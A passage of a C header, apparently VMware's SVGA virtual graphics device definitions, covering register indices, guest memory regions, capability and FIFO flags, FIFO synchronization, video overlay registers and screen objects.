28, /* (Deprecated) */ 155 | SVGA_REG_SCRATCH_SIZE = 29, /* Number of scratch registers */ 156 | SVGA_REG_MEM_REGS = 30, /* Number of FIFO registers */ 157 | SVGA_REG_NUM_DISPLAYS = 31, /* (Deprecated) */ 158 | SVGA_REG_PITCHLOCK = 32, /* Fixed pitch for all modes */ 159 | SVGA_REG_IRQMASK = 33, /* Interrupt mask */ 160 | 161 | /* Legacy multi-monitor support */ 162 | SVGA_REG_NUM_GUEST_DISPLAYS = 34,/* Number of guest displays in X/Y direction */ 163 | SVGA_REG_DISPLAY_ID = 35, /* Display ID for the following display attributes */ 164 | SVGA_REG_DISPLAY_IS_PRIMARY = 36,/* Whether this is a primary display */ 165 | SVGA_REG_DISPLAY_POSITION_X = 37,/* The display position x */ 166 | SVGA_REG_DISPLAY_POSITION_Y = 38,/* The display position y */ 167 | SVGA_REG_DISPLAY_WIDTH = 39, /* The display's width */ 168 | SVGA_REG_DISPLAY_HEIGHT = 40, /* The display's height */ 169 | 170 | /* See "Guest memory regions" below. */ 171 | SVGA_REG_GMR_ID = 41, 172 | SVGA_REG_GMR_DESCRIPTOR = 42, 173 | SVGA_REG_GMR_MAX_IDS = 43, 174 | SVGA_REG_GMR_MAX_DESCRIPTOR_LENGTH = 44, 175 | 176 | SVGA_REG_TRACES = 45, /* Enable trace-based updates even when FIFO is on */ 177 | SVGA_REG_GMRS_MAX_PAGES = 46, /* Maximum number of 4KB pages for all GMRs */ 178 | SVGA_REG_MEMORY_SIZE = 47, /* Total dedicated device memory excluding FIFO */ 179 | SVGA_REG_TOP = 48, /* Must be 1 more than the last register */ 180 | 181 | SVGA_PALETTE_BASE = 1024, /* Base of SVGA color map */ 182 | /* Next 768 (== 256*3) registers exist for colormap */ 183 | 184 | SVGA_SCRATCH_BASE = SVGA_PALETTE_BASE + SVGA_NUM_PALETTE_REGS 185 | /* Base of scratch registers */ 186 | /* Next reg[SVGA_REG_SCRATCH_SIZE] registers exist for scratch usage: 187 | First 4 are reserved for VESA BIOS Extension; any remaining are for 188 | the use of the current SVGA driver. */ 189 | }; 190 | 191 | 192 | /* 193 | * Guest memory regions (GMRs): 194 | * 195 | * This is a new memory mapping feature available in SVGA devices 196 | * which have the SVGA_CAP_GMR bit set. Previously, there were two 197 | * fixed memory regions available with which to share data between the 198 | * device and the driver: the FIFO ('MEM') and the framebuffer. GMRs 199 | * are our name for an extensible way of providing arbitrary DMA 200 | * buffers for use between the driver and the SVGA device. They are a 201 | * new alternative to framebuffer memory, usable for both 2D and 3D 202 | * graphics operations. 203 | * 204 | * Since GMR mapping must be done synchronously with guest CPU 205 | * execution, we use a new pair of SVGA registers: 206 | * 207 | * SVGA_REG_GMR_ID -- 208 | * 209 | * Read/write. 210 | * This register holds the 32-bit ID (a small positive integer) 211 | * of a GMR to create, delete, or redefine. Writing this register 212 | * has no side-effects. 213 | * 214 | * SVGA_REG_GMR_DESCRIPTOR -- 215 | * 216 | * Write-only. 217 | * Writing this register will create, delete, or redefine the GMR 218 | * specified by the above ID register. If this register is zero, 219 | * the GMR is deleted. Any pointers into this GMR (including those 220 | * currently being processed by FIFO commands) will be 221 | * synchronously invalidated. 222 | * 223 | * If this register is nonzero, it must be the physical page 224 | * number (PPN) of a data structure which describes the physical 225 | * layout of the memory region this GMR should describe. The 226 | * descriptor structure will be read synchronously by the SVGA 227 | * device when this register is written. The descriptor need not 228 | * remain allocated for the lifetime of the GMR. 229 | * 230 | * The guest driver should write SVGA_REG_GMR_ID first, then 231 | * SVGA_REG_GMR_DESCRIPTOR. 232 | * 233 | * SVGA_REG_GMR_MAX_IDS -- 234 | * 235 | * Read-only. 236 | * The SVGA device may choose to support a maximum number of 237 | * user-defined GMR IDs. This register holds the number of supported 238 | * IDs. (The maximum supported ID plus 1) 239 | * 240 | * SVGA_REG_GMR_MAX_DESCRIPTOR_LENGTH -- 241 | * 242 | * Read-only. 243 | * The SVGA device may choose to put a limit on the total number 244 | * of SVGAGuestMemDescriptor structures it will read when defining 245 | * a single GMR. 246 | * 247 | * The descriptor structure is an array of SVGAGuestMemDescriptor 248 | * structures. Each structure may do one of three things: 249 | * 250 | * - Terminate the GMR descriptor list. 251 | * (ppn==0, numPages==0) 252 | * 253 | * - Add a PPN or range of PPNs to the GMR's virtual address space. 254 | * (ppn != 0, numPages != 0) 255 | * 256 | * - Provide the PPN of the next SVGAGuestMemDescriptor, in order to 257 | * support multi-page GMR descriptor tables without forcing the 258 | * driver to allocate physically contiguous memory. 259 | * (ppn != 0, numPages == 0) 260 | * 261 | * Note that each physical page of SVGAGuestMemDescriptor structures 262 | * can describe at least 2MB of guest memory. If the driver needs to 263 | * use more than one page of descriptor structures, it must use one of 264 | * its SVGAGuestMemDescriptors to point to an additional page. The 265 | * device will never automatically cross a page boundary. 266 | * 267 | * Once the driver has described a GMR, it is immediately available 268 | * for use via any FIFO command that uses an SVGAGuestPtr structure. 269 | * These pointers include a GMR identifier plus an offset into that 270 | * GMR. 271 | * 272 | * The driver must check the SVGA_CAP_GMR bit before using the GMR 273 | * registers. 274 | */ 275 | 276 | /* 277 | * Special GMR IDs, allowing SVGAGuestPtrs to point to framebuffer 278 | * memory as well. In the future, these IDs could even be used to 279 | * allow legacy memory regions to be redefined by the guest as GMRs. 280 | * 281 | * Using the guest framebuffer (GFB) at BAR1 for general purpose DMA 282 | * is being phased out. Please try to use user-defined GMRs whenever 283 | * possible. 284 | */ 285 | #define SVGA_GMR_NULL ((uint32) -1) 286 | #define SVGA_GMR_FRAMEBUFFER ((uint32) -2) // Guest Framebuffer (GFB) 287 | 288 | typedef 289 | struct SVGAGuestMemDescriptor { 290 | uint32 ppn; 291 | uint32 numPages; 292 | } SVGAGuestMemDescriptor; 293 | 294 | typedef 295 | struct SVGAGuestPtr { 296 | uint32 gmrId; 297 | uint32 offset; 298 | } SVGAGuestPtr; 299 | 300 | 301 | /* 302 | * SVGAGMRImageFormat -- 303 | * 304 | * This is a packed representation of the source 2D image format 305 | * for a GMR-to-screen blit. Currently it is defined as an encoding 306 | * of the screen's color depth and bits-per-pixel, however, 16 bits 307 | * are reserved for future use to identify other encodings (such as 308 | * RGBA or higher-precision images). 309 | * 310 | * Currently supported formats: 311 | * 312 | * bpp depth Format Name 313 | * --- ----- ----------- 314 | * 32 24 32-bit BGRX 315 | * 24 24 24-bit BGR 316 | * 16 16 RGB 5-6-5 317 | * 16 15 RGB 5-5-5 318 | * 319 | */ 320 | 321 | typedef 322 | struct SVGAGMRImageFormat { 323 | union { 324 | struct { 325 | uint32 bitsPerPixel : 8; 326 | uint32 colorDepth : 8; 327 | uint32 reserved : 16; // Must be zero 328 | }; 329 | 330 | uint32 value; 331 | }; 332 | } SVGAGMRImageFormat; 333 | 334 | typedef 335 | struct SVGAGuestImage { 336 | SVGAGuestPtr ptr; 337 | 338 | /* 339 | * A note on interpretation of pitch: This value of pitch is the 340 | * number of bytes between vertically adjacent image 341 | * blocks. Normally this is the number of bytes between the first 342 | * pixel of two adjacent scanlines. With compressed textures, 343 | * however, this may represent the number of bytes between 344 | * compression blocks rather than between rows of pixels. 345 | * 346 | * XXX: Compressed textures currently must be tightly packed in guest memory. 347 | * 348 | * If the image is 1-dimensional, pitch is ignored. 349 | * 350 | * If 'pitch' is zero, the SVGA3D device calculates a pitch value 351 | * assuming each row of blocks is tightly packed. 352 | */ 353 | uint32 pitch; 354 | } SVGAGuestImage; 355 | 356 | /* 357 | * SVGAColorBGRX -- 358 | * 359 | * A 24-bit color format (BGRX), which does not depend on the 360 | * format of the legacy guest framebuffer (GFB) or the current 361 | * GMRFB state. 362 | */ 363 | 364 | typedef 365 | struct SVGAColorBGRX { 366 | union { 367 | struct { 368 | uint32 b : 8; 369 | uint32 g : 8; 370 | uint32 r : 8; 371 | uint32 x : 8; // Unused 372 | }; 373 | 374 | uint32 value; 375 | }; 376 | } SVGAColorBGRX; 377 | 378 | 379 | /* 380 | * SVGASignedRect -- 381 | * SVGASignedPoint -- 382 | * 383 | * Signed rectangle and point primitives. These are used by the new 384 | * 2D primitives for drawing to Screen Objects, which can occupy a 385 | * signed virtual coordinate space. 386 | * 387 | * SVGASignedRect specifies a half-open interval: the (left, top) 388 | * pixel is part of the rectangle, but the (right, bottom) pixel is 389 | * not. 390 | */ 391 | 392 | typedef 393 | struct SVGASignedRect { 394 | int32 left; 395 | int32 top; 396 | int32 right; 397 | int32 bottom; 398 | } SVGASignedRect; 399 | 400 | typedef 401 | struct SVGASignedPoint { 402 | int32 x; 403 | int32 y; 404 | } SVGASignedPoint; 405 | 406 | 407 | /* 408 | * Capabilities 409 | * 410 | * Note the holes in the bitfield. Missing bits have been deprecated, 411 | * and must not be reused. Those capabilities will never be reported 412 | * by new versions of the SVGA device. 413 | * 414 | * SVGA_CAP_GMR2 -- 415 | * Provides asynchronous commands to define and remap guest memory 416 | * regions. Adds device registers SVGA_REG_GMRS_MAX_PAGES and 417 | * SVGA_REG_MEMORY_SIZE. 418 | * 419 | * SVGA_CAP_SCREEN_OBJECT_2 -- 420 | * Allow screen object support, and require backing stores from the 421 | * guest for each screen object. 422 | */ 423 | 424 | #define SVGA_CAP_NONE 0x00000000 425 | #define SVGA_CAP_RECT_COPY 0x00000002 426 | #define SVGA_CAP_CURSOR 0x00000020 427 | #define SVGA_CAP_CURSOR_BYPASS 0x00000040 // Legacy (Use Cursor Bypass 3 instead) 428 | #define SVGA_CAP_CURSOR_BYPASS_2 0x00000080 // Legacy (Use Cursor Bypass 3 instead) 429 | #define SVGA_CAP_8BIT_EMULATION 0x00000100 430 | #define SVGA_CAP_ALPHA_CURSOR 0x00000200 431 | #define SVGA_CAP_3D 0x00004000 432 | #define SVGA_CAP_EXTENDED_FIFO 0x00008000 433 | #define SVGA_CAP_MULTIMON 0x00010000 // Legacy multi-monitor support 434 | #define SVGA_CAP_PITCHLOCK 0x00020000 435 | #define SVGA_CAP_IRQMASK 0x00040000 436 | #define SVGA_CAP_DISPLAY_TOPOLOGY 0x00080000 // Legacy multi-monitor support 437 | #define SVGA_CAP_GMR 0x00100000 438 | #define SVGA_CAP_TRACES 0x00200000 439 | #define SVGA_CAP_GMR2 0x00400000 440 | #define SVGA_CAP_SCREEN_OBJECT_2 0x00800000 441 | 442 | 443 | /* 444 | * FIFO register indices. 445 | * 446 | * The FIFO is a chunk of device memory mapped into guest physmem. It 447 | * is always treated as 32-bit words. 448 | * 449 | * The guest driver gets to decide how to partition it between 450 | * - FIFO registers (there are always at least 4, specifying where the 451 | * following data area is and how much data it contains; there may be 452 | * more registers following these, depending on the FIFO protocol 453 | * version in use) 454 | * - FIFO data, written by the guest and slurped out by the VMX. 455 | * These indices are 32-bit word offsets into the FIFO. 456 | */ 457 | 458 | enum { 459 | /* 460 | * Block 1 (basic registers): The originally defined FIFO registers. 461 | * These exist and are valid for all versions of the FIFO protocol. 462 | */ 463 | 464 | SVGA_FIFO_MIN = 0, 465 | SVGA_FIFO_MAX, /* The distance from MIN to MAX must be at least 10K */ 466 | SVGA_FIFO_NEXT_CMD, 467 | SVGA_FIFO_STOP, 468 | 469 | /* 470 | * Block 2 (extended registers): Mandatory registers for the extended 471 | * FIFO. These exist if the SVGA caps register includes 472 | * SVGA_CAP_EXTENDED_FIFO; some of them are valid only if their 473 | * associated capability bit is enabled. 474 | * 475 | * Note that when originally defined, SVGA_CAP_EXTENDED_FIFO implied 476 | * support only for (FIFO registers) CAPABILITIES, FLAGS, and FENCE. 477 | * This means that the guest has to test individually (in most cases 478 | * using FIFO caps) for the presence of registers after this; the VMX 479 | * can define "extended FIFO" to mean whatever it wants, and currently 480 | * won't enable it unless there's room for that set and much more. 481 | */ 482 | 483 | SVGA_FIFO_CAPABILITIES = 4, 484 | SVGA_FIFO_FLAGS, 485 | // Valid with SVGA_FIFO_CAP_FENCE: 486 | SVGA_FIFO_FENCE, 487 | 488 | /* 489 | * Block 3a (optional extended registers): Additional registers for the 490 | * extended FIFO, whose presence isn't actually implied by 491 | * SVGA_CAP_EXTENDED_FIFO; these exist if SVGA_FIFO_MIN is high enough to 492 | * leave room for them. 493 | * 494 | * These in block 3a, the VMX currently considers mandatory for the 495 | * extended FIFO. 496 | */ 497 | 498 | // Valid if exists (i.e. if extended FIFO enabled): 499 | SVGA_FIFO_3D_HWVERSION, /* See SVGA3dHardwareVersion in svga3d_reg.h */ 500 | // Valid with SVGA_FIFO_CAP_PITCHLOCK: 501 | SVGA_FIFO_PITCHLOCK, 502 | 503 | // Valid with SVGA_FIFO_CAP_CURSOR_BYPASS_3: 504 | SVGA_FIFO_CURSOR_ON, /* Cursor bypass 3 show/hide register */ 505 | SVGA_FIFO_CURSOR_X, /* Cursor bypass 3 x register */ 506 | SVGA_FIFO_CURSOR_Y, /* Cursor bypass 3 y register */ 507 | SVGA_FIFO_CURSOR_COUNT, /* Incremented when any of the other 3 change */ 508 | SVGA_FIFO_CURSOR_LAST_UPDATED,/* Last time the host updated the cursor */ 509 | 510 | // Valid with SVGA_FIFO_CAP_RESERVE: 511 | SVGA_FIFO_RESERVED, /* Bytes past NEXT_CMD with real contents */ 512 | 513 | /* 514 | * Valid with SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2: 515 | * 516 | * By default this is SVGA_ID_INVALID, to indicate that the cursor 517 | * coordinates are specified relative to the virtual root. If this 518 | * is set to a specific screen ID, cursor position is reinterpreted 519 | * as a signed offset relative to that screen's origin. 520 | */ 521 | SVGA_FIFO_CURSOR_SCREEN_ID, 522 | 523 | /* 524 | * Valid with SVGA_FIFO_CAP_DEAD 525 | * 526 | * An arbitrary value written by the host, drivers should not use it. 527 | */ 528 | SVGA_FIFO_DEAD, 529 | 530 | /* 531 | * Valid with SVGA_FIFO_CAP_3D_HWVERSION_REVISED: 532 | * 533 | * Contains 3D HWVERSION (see SVGA3dHardwareVersion in svga3d_reg.h) 534 | * on platforms that can enforce graphics resource limits. 535 | */ 536 | SVGA_FIFO_3D_HWVERSION_REVISED, 537 | 538 | /* 539 | * XXX: The gap here, up until SVGA_FIFO_3D_CAPS, can be used for new 540 | * registers, but this must be done carefully and with judicious use of 541 | * capability bits, since comparisons based on SVGA_FIFO_MIN aren't 542 | * enough to tell you whether the register exists: we've shipped drivers 543 | * and products that used SVGA_FIFO_3D_CAPS but didn't know about some of 544 | * the earlier ones. The actual order of introduction was: 545 | * - PITCHLOCK 546 | * - 3D_CAPS 547 | * - CURSOR_* (cursor bypass 3) 548 | * - RESERVED 549 | * So, code that wants to know whether it can use any of the 550 | * aforementioned registers, or anything else added after PITCHLOCK and 551 | * before 3D_CAPS, needs to reason about something other than 552 | * SVGA_FIFO_MIN. 553 | */ 554 | 555 | /* 556 | * 3D caps block space; valid with 3D hardware version >= 557 | * SVGA3D_HWVERSION_WS6_B1. 558 | */ 559 | SVGA_FIFO_3D_CAPS = 32, 560 | SVGA_FIFO_3D_CAPS_LAST = 32 + 255, 561 | 562 | /* 563 | * End of VMX's current definition of "extended-FIFO registers". 564 | * Registers before here are always enabled/disabled as a block; either 565 | * the extended FIFO is enabled and includes all preceding registers, or 566 | * it's disabled entirely. 567 | * 568 | * Block 3b (truly optional extended registers): Additional registers for 569 | * the extended FIFO, which the VMX already knows how to enable and 570 | * disable with correct granularity. 571 | * 572 | * Registers after here exist if and only if the guest SVGA driver 573 | * sets SVGA_FIFO_MIN high enough to leave room for them. 574 | */ 575 | 576 | // Valid if register exists: 577 | SVGA_FIFO_GUEST_3D_HWVERSION, /* Guest driver's 3D version */ 578 | SVGA_FIFO_FENCE_GOAL, /* Matching target for SVGA_IRQFLAG_FENCE_GOAL */ 579 | SVGA_FIFO_BUSY, /* See "FIFO Synchronization Registers" */ 580 | 581 | /* 582 | * Always keep this last. This defines the maximum number of 583 | * registers we know about. At power-on, this value is placed in 584 | * the SVGA_REG_MEM_REGS register, and we expect the guest driver 585 | * to allocate this much space in FIFO memory for registers. 586 | */ 587 | SVGA_FIFO_NUM_REGS 588 | }; 589 | 590 | 591 | /* 592 | * Definition of registers included in extended FIFO support. 593 | * 594 | * The guest SVGA driver gets to allocate the FIFO between registers 595 | * and data. It must always allocate at least 4 registers, but old 596 | * drivers stopped there. 597 | * 598 | * The VMX will enable extended FIFO support if and only if the guest 599 | * left enough room for all registers defined as part of the mandatory 600 | * set for the extended FIFO. 601 | * 602 | * Note that the guest drivers typically allocate the FIFO only at 603 | * initialization time, not at mode switches, so it's likely that the 604 | * number of FIFO registers won't change without a reboot. 605 | * 606 | * All registers less than this value are guaranteed to be present if 607 | * svgaUser->fifo.extended is set. Any later registers must be tested 608 | * individually for compatibility at each use (in the VMX). 609 | * 610 | * This value is used only by the VMX, so it can change without 611 | * affecting driver compatibility; keep it that way? 612 | */ 613 | #define SVGA_FIFO_EXTENDED_MANDATORY_REGS (SVGA_FIFO_3D_CAPS_LAST + 1) 614 | 615 | 616 | /* 617 | * FIFO Synchronization Registers 618 | * 619 | * This explains the relationship between the various FIFO 620 | * sync-related registers in IOSpace and in FIFO space. 621 | * 622 | * SVGA_REG_SYNC -- 623 | * 624 | * The SYNC register can be used in two different ways by the guest: 625 | * 626 | * 1. If the guest wishes to fully sync (drain) the FIFO, 627 | * it will write once to SYNC then poll on the BUSY 628 | * register. The FIFO is sync'ed once BUSY is zero. 629 | * 630 | * 2. If the guest wants to asynchronously wake up the host, 631 | * it will write once to SYNC without polling on BUSY. 632 | * Ideally it will do this after some new commands have 633 | * been placed in the FIFO, and after reading a zero 634 | * from SVGA_FIFO_BUSY. 635 | * 636 | * (1) is the original behaviour that SYNC was designed to 637 | * support. Originally, a write to SYNC would implicitly 638 | * trigger a read from BUSY. This causes us to synchronously 639 | * process the FIFO. 640 | * 641 | * This behaviour has since been changed so that writing SYNC 642 | * will *not* implicitly cause a read from BUSY. Instead, it 643 | * makes a channel call which asynchronously wakes up the MKS 644 | * thread. 645 | * 646 | * New guests can use this new behaviour to implement (2) 647 | * efficiently. This lets guests get the host's attention 648 | * without waiting for the MKS to poll, which gives us much 649 | * better CPU utilization on SMP hosts and on UP hosts while 650 | * we're blocked on the host GPU. 651 | * 652 | * Old guests shouldn't notice the behaviour change. SYNC was 653 | * never guaranteed to process the entire FIFO, since it was 654 | * bounded to a particular number of CPU cycles. Old guests will 655 | * still loop on the BUSY register until the FIFO is empty. 656 | * 657 | * Writing to SYNC currently has the following side-effects: 658 | * 659 | * - Sets SVGA_REG_BUSY to TRUE (in the monitor) 660 | * - Asynchronously wakes up the MKS thread for FIFO processing 661 | * - The value written to SYNC is recorded as a "reason", for 662 | * stats purposes. 663 | * 664 | * If SVGA_FIFO_BUSY is available, drivers are advised to only 665 | * write to SYNC if SVGA_FIFO_BUSY is FALSE. Drivers should set 666 | * SVGA_FIFO_BUSY to TRUE after writing to SYNC. The MKS will 667 | * eventually set SVGA_FIFO_BUSY on its own, but this approach 668 | * lets the driver avoid sending multiple asynchronous wakeup 669 | * messages to the MKS thread. 670 | * 671 | * SVGA_REG_BUSY -- 672 | * 673 | * This register is set to TRUE when SVGA_REG_SYNC is written, 674 | * and it reads as FALSE when the FIFO has been completely 675 | * drained. 676 | * 677 | * Every read from this register causes us to synchronously 678 | * process FIFO commands. There is no guarantee as to how many 679 | * commands each read will process. 680 | * 681 | * CPU time spent processing FIFO commands will be billed to 682 | * the guest. 683 | * 684 | * New drivers should avoid using this register unless they 685 | * need to guarantee that the FIFO is completely drained. It 686 | * is overkill for performing a sync-to-fence. Older drivers 687 | * will use this register for any type of synchronization. 688 | * 689 | * SVGA_FIFO_BUSY -- 690 | * 691 | * This register is a fast way for the guest driver to check 692 | * whether the FIFO is already being processed. It reads and 693 | * writes at normal RAM speeds, with no monitor intervention. 694 | * 695 | * If this register reads as TRUE, the host is guaranteeing that 696 | * any new commands written into the FIFO will be noticed before 697 | * the MKS goes back to sleep. 698 | * 699 | * If this register reads as FALSE, no such guarantee can be 700 | * made. 701 | * 702 | * The guest should use this register to quickly determine 703 | * whether or not it needs to wake up the host. If the guest 704 | * just wrote a command or group of commands that it would like 705 | * the host to begin processing, it should: 706 | * 707 | * 1. Read SVGA_FIFO_BUSY. If it reads as TRUE, no further 708 | * action is necessary. 709 | * 710 | * 2. Write TRUE to SVGA_FIFO_BUSY. This informs future guest 711 | * code that we've already sent a SYNC to the host and we 712 | * don't need to send a duplicate. 713 | * 714 | * 3. Write a reason to SVGA_REG_SYNC. This will send an 715 | * asynchronous wakeup to the MKS thread. 716 | */ 717 | 718 | 719 | /* 720 | * FIFO Capabilities 721 | * 722 | * Fence -- Fence register and command are supported 723 | * Accel Front -- Front buffer only commands are supported 724 | * Pitch Lock -- Pitch lock register is supported 725 | * Video -- SVGA Video overlay units are supported 726 | * Escape -- Escape command is supported 727 | * 728 | * XXX: Add longer descriptions for each capability, including a list 729 | * of the new features that each capability provides. 730 | * 731 | * SVGA_FIFO_CAP_SCREEN_OBJECT -- 732 | * 733 | * Provides dynamic multi-screen rendering, for improved Unity and 734 | * multi-monitor modes. With Screen Object, the guest can 735 | * dynamically create and destroy 'screens', which can represent 736 | * Unity windows or virtual monitors. Screen Object also provides 737 | * strong guarantees that DMA operations happen only when 738 | * guest-initiated. Screen Object deprecates the BAR1 guest 739 | * framebuffer (GFB) and all commands that work only with the GFB. 740 | * 741 | * New registers: 742 | * FIFO_CURSOR_SCREEN_ID, VIDEO_DATA_GMRID, VIDEO_DST_SCREEN_ID 743 | * 744 | * New 2D commands: 745 | * DEFINE_SCREEN, DESTROY_SCREEN, DEFINE_GMRFB, BLIT_GMRFB_TO_SCREEN, 746 | * BLIT_SCREEN_TO_GMRFB, ANNOTATION_FILL, ANNOTATION_COPY 747 | * 748 | * New 3D commands: 749 | * BLIT_SURFACE_TO_SCREEN 750 | * 751 | * New guarantees: 752 | * 753 | * - The host will not read or write guest memory, including the GFB, 754 | * except when explicitly initiated by a DMA command. 755 | * 756 | * - All DMA, including legacy DMA like UPDATE and PRESENT_READBACK, 757 | * is guaranteed to complete before any subsequent FENCEs. 758 | * 759 | * - All legacy commands which affect a Screen (UPDATE, PRESENT, 760 | * PRESENT_READBACK) as well as new Screen blit commands will 761 | * all behave consistently as blits, and memory will be read 762 | * or written in FIFO order. 763 | * 764 | * For example, if you PRESENT from one SVGA3D surface to multiple 765 | * places on the screen, the data copied will always be from the 766 | * SVGA3D surface at the time the PRESENT was issued in the FIFO. 767 | * This was not necessarily true on devices without Screen Object. 768 | * 769 | * This means that on devices that support Screen Object, the 770 | * PRESENT_READBACK command should not be necessary unless you 771 | * actually want to read back the results of 3D rendering into 772 | * system memory. (And for that, the BLIT_SCREEN_TO_GMRFB 773 | * command provides a strict superset of functionality.) 774 | * 775 | * - When a screen is resized, either using Screen Object commands or 776 | * legacy multimon registers, its contents are preserved. 777 | * 778 | * SVGA_FIFO_CAP_GMR2 -- 779 | * 780 | * Provides new commands to define and remap guest memory regions (GMR). 781 | * 782 | * New 2D commands: 783 | * DEFINE_GMR2, REMAP_GMR2. 784 | * 785 | * SVGA_FIFO_CAP_3D_HWVERSION_REVISED -- 786 | * 787 | * Indicates new register SVGA_FIFO_3D_HWVERSION_REVISED exists. 788 | * This register may replace SVGA_FIFO_3D_HWVERSION on platforms 789 | * that enforce graphics resource limits. This allows the platform 790 | * to clear SVGA_FIFO_3D_HWVERSION and disable 3D in legacy guest 791 | * drivers that do not limit their resources. 792 | * 793 | * Note this is an alias to SVGA_FIFO_CAP_GMR2 because these indicators 794 | * are codependent (and thus we use a single capability bit). 795 | * 796 | * SVGA_FIFO_CAP_SCREEN_OBJECT_2 -- 797 | * 798 | * Modifies the DEFINE_SCREEN command to include a guest provided 799 | * backing store in GMR memory and the bytesPerLine for the backing 800 | * store. This capability requires the use of a backing store when 801 | * creating screen objects. However if SVGA_FIFO_CAP_SCREEN_OBJECT 802 | * is present then backing stores are optional. 803 | * 804 | * SVGA_FIFO_CAP_DEAD -- 805 | * 806 | * Drivers should not use this cap bit. This cap bit can not be 807 | * reused since some hosts already expose it. 808 | */ 809 | 810 | #define SVGA_FIFO_CAP_NONE 0 811 | #define SVGA_FIFO_CAP_FENCE (1<<0) 812 | #define SVGA_FIFO_CAP_ACCELFRONT (1<<1) 813 | #define SVGA_FIFO_CAP_PITCHLOCK (1<<2) 814 | #define SVGA_FIFO_CAP_VIDEO (1<<3) 815 | #define SVGA_FIFO_CAP_CURSOR_BYPASS_3 (1<<4) 816 | #define SVGA_FIFO_CAP_ESCAPE (1<<5) 817 | #define SVGA_FIFO_CAP_RESERVE (1<<6) 818 | #define SVGA_FIFO_CAP_SCREEN_OBJECT (1<<7) 819 | #define SVGA_FIFO_CAP_GMR2 (1<<8) 820 | #define SVGA_FIFO_CAP_3D_HWVERSION_REVISED SVGA_FIFO_CAP_GMR2 821 | #define SVGA_FIFO_CAP_SCREEN_OBJECT_2 (1<<9) 822 | #define SVGA_FIFO_CAP_DEAD (1<<10) 823 | 824 | 825 | /* 826 | * FIFO Flags 827 | * 828 | * Accel Front -- Driver should use front buffer only commands 829 | */ 830 | 831 | #define SVGA_FIFO_FLAG_NONE 0 832 | #define SVGA_FIFO_FLAG_ACCELFRONT (1<<0) 833 | #define SVGA_FIFO_FLAG_RESERVED (1<<31) // Internal use only 834 | 835 | /* 836 | * FIFO reservation sentinel value 837 | */ 838 | 839 | #define SVGA_FIFO_RESERVED_UNKNOWN 0xffffffff 840 | 841 | 842 | /* 843 | * Video overlay support 844 | */ 845 | 846 | #define SVGA_NUM_OVERLAY_UNITS 32 847 | 848 | 849 | /* 850 | * Video capabilities that the guest is currently using 851 | */ 852 | 853 | #define SVGA_VIDEO_FLAG_COLORKEY 0x0001 854 | 855 | 856 | /* 857 | * Offsets for the video overlay registers 858 | */ 859 | 860 | enum { 861 | SVGA_VIDEO_ENABLED = 0, 862 | SVGA_VIDEO_FLAGS, 863 | SVGA_VIDEO_DATA_OFFSET, 864 | SVGA_VIDEO_FORMAT, 865 | SVGA_VIDEO_COLORKEY, 866 | SVGA_VIDEO_SIZE, // Deprecated 867 | SVGA_VIDEO_WIDTH, 868 | SVGA_VIDEO_HEIGHT, 869 | SVGA_VIDEO_SRC_X, 870 | SVGA_VIDEO_SRC_Y, 871 | SVGA_VIDEO_SRC_WIDTH, 872 | SVGA_VIDEO_SRC_HEIGHT, 873 | SVGA_VIDEO_DST_X, // Signed int32 874 | SVGA_VIDEO_DST_Y, // Signed int32 875 | SVGA_VIDEO_DST_WIDTH, 876 | SVGA_VIDEO_DST_HEIGHT, 877 | SVGA_VIDEO_PITCH_1, 878 | SVGA_VIDEO_PITCH_2, 879 | SVGA_VIDEO_PITCH_3, 880 | SVGA_VIDEO_DATA_GMRID, // Optional, defaults to SVGA_GMR_FRAMEBUFFER 881 | SVGA_VIDEO_DST_SCREEN_ID, // Optional, defaults to virtual coords (SVGA_ID_INVALID) 882 | SVGA_VIDEO_NUM_REGS 883 | }; 884 | 885 | 886 | /* 887 | * SVGA Overlay Units 888 | * 889 | * width and height relate to the entire source video frame. 890 | * srcX, srcY, srcWidth and srcHeight represent subset of the source 891 | * video frame to be displayed. 892 | */ 893 | 894 | typedef struct SVGAOverlayUnit { 895 | uint32 enabled; 896 | uint32 flags; 897 | uint32 dataOffset; 898 | uint32 format; 899 | uint32 colorKey; 900 | uint32 size; 901 | uint32 width; 902 | uint32 height; 903 | uint32 srcX; 904 | uint32 srcY; 905 | uint32 srcWidth; 906 | uint32 srcHeight; 907 | int32 dstX; 908 | int32 dstY; 909 | uint32 dstWidth; 910 | uint32 dstHeight; 911 | uint32 pitches[3]; 912 | uint32 dataGMRId; 913 | uint32 dstScreenId; 914 | } SVGAOverlayUnit; 915 | 916 | 917 | /* 918 | * SVGAScreenObject -- 919 | * 920 | * This is a new way to represent a guest's multi-monitor screen or 921 | * Unity window. Screen objects are only supported if the 922 | * SVGA_FIFO_CAP_SCREEN_OBJECT capability bit is set. 923 | * 924 | * If Screen Objects are supported, they can be used to fully 925 | * replace the functionality provided by the framebuffer registers 926 | * (SVGA_REG_WIDTH, HEIGHT, etc.) and by SVGA_CAP_DISPLAY_TOPOLOGY. 927 | * 928 | * The screen object is a struct with guaranteed binary 929 | * compatibility. New flags can be added, and the struct may grow, 930 | * but existing fields must retain their meaning. 931 | * 932 | * Added with SVGA_FIFO_CAP_SCREEN_OBJECT_2 are required fields of 933 | * a SVGAGuestPtr that is used to back the screen contents. This 934 | * memory must come from the GFB. The guest is not allowed to 935 | * access the memory and doing so will have undefined results. The 936 | * backing store is required to be page aligned and the size is 937 | * padded to the next page boundry. The number of pages is: 938 | * (bytesPerLine * size.width * 4 + PAGE_SIZE - 1) / PAGE_SIZE 939 | * 940 | * The pitch in the backingStore is required to be at least large 941 | * enough to hold a 32bbp scanline. It is recommended that the 942 | * driver pad bytesPerLine for a potential performance win. 943 | * 944 | * The cloneCount field is treated as a hint from the guest that 945 | * the user wants this display to be cloned, countCount times. A 946 | * value of zero means no cloning should happen. 947 | */ 948 | 949 | #define SVGA_SCREEN_MUST_BE_SET (1 << 0) // Must be set or results undefined 950 | #define SVGA_SCREEN_HAS_ROOT SVGA_SCREEN_MUST_BE_SET // Deprecated 951 | #define SVGA_SCREEN_IS_PRIMARY (1 << 1) // Guest considers this screen to be 'primary' 952 | #define SVGA_SCREEN_FULLSCREEN_HINT (1 << 2) // Guest is running a fullscreen app here 953 | 954 | /* 955 | * Added with SVGA_FIFO_CAP_SCREEN_OBJECT_2. When the screen is 956 | * deactivated the base layer is defined to lose all contents and 957 | * become black. When a screen is deactivated the backing store is 958 | * optional. When set backingPtr and bytesPerLine will be ignored. 959 | */ 960 | #define SVGA_SCREEN_DEACTIVATE (1 << 3) 961 | 962 | /* 963 | * Added with 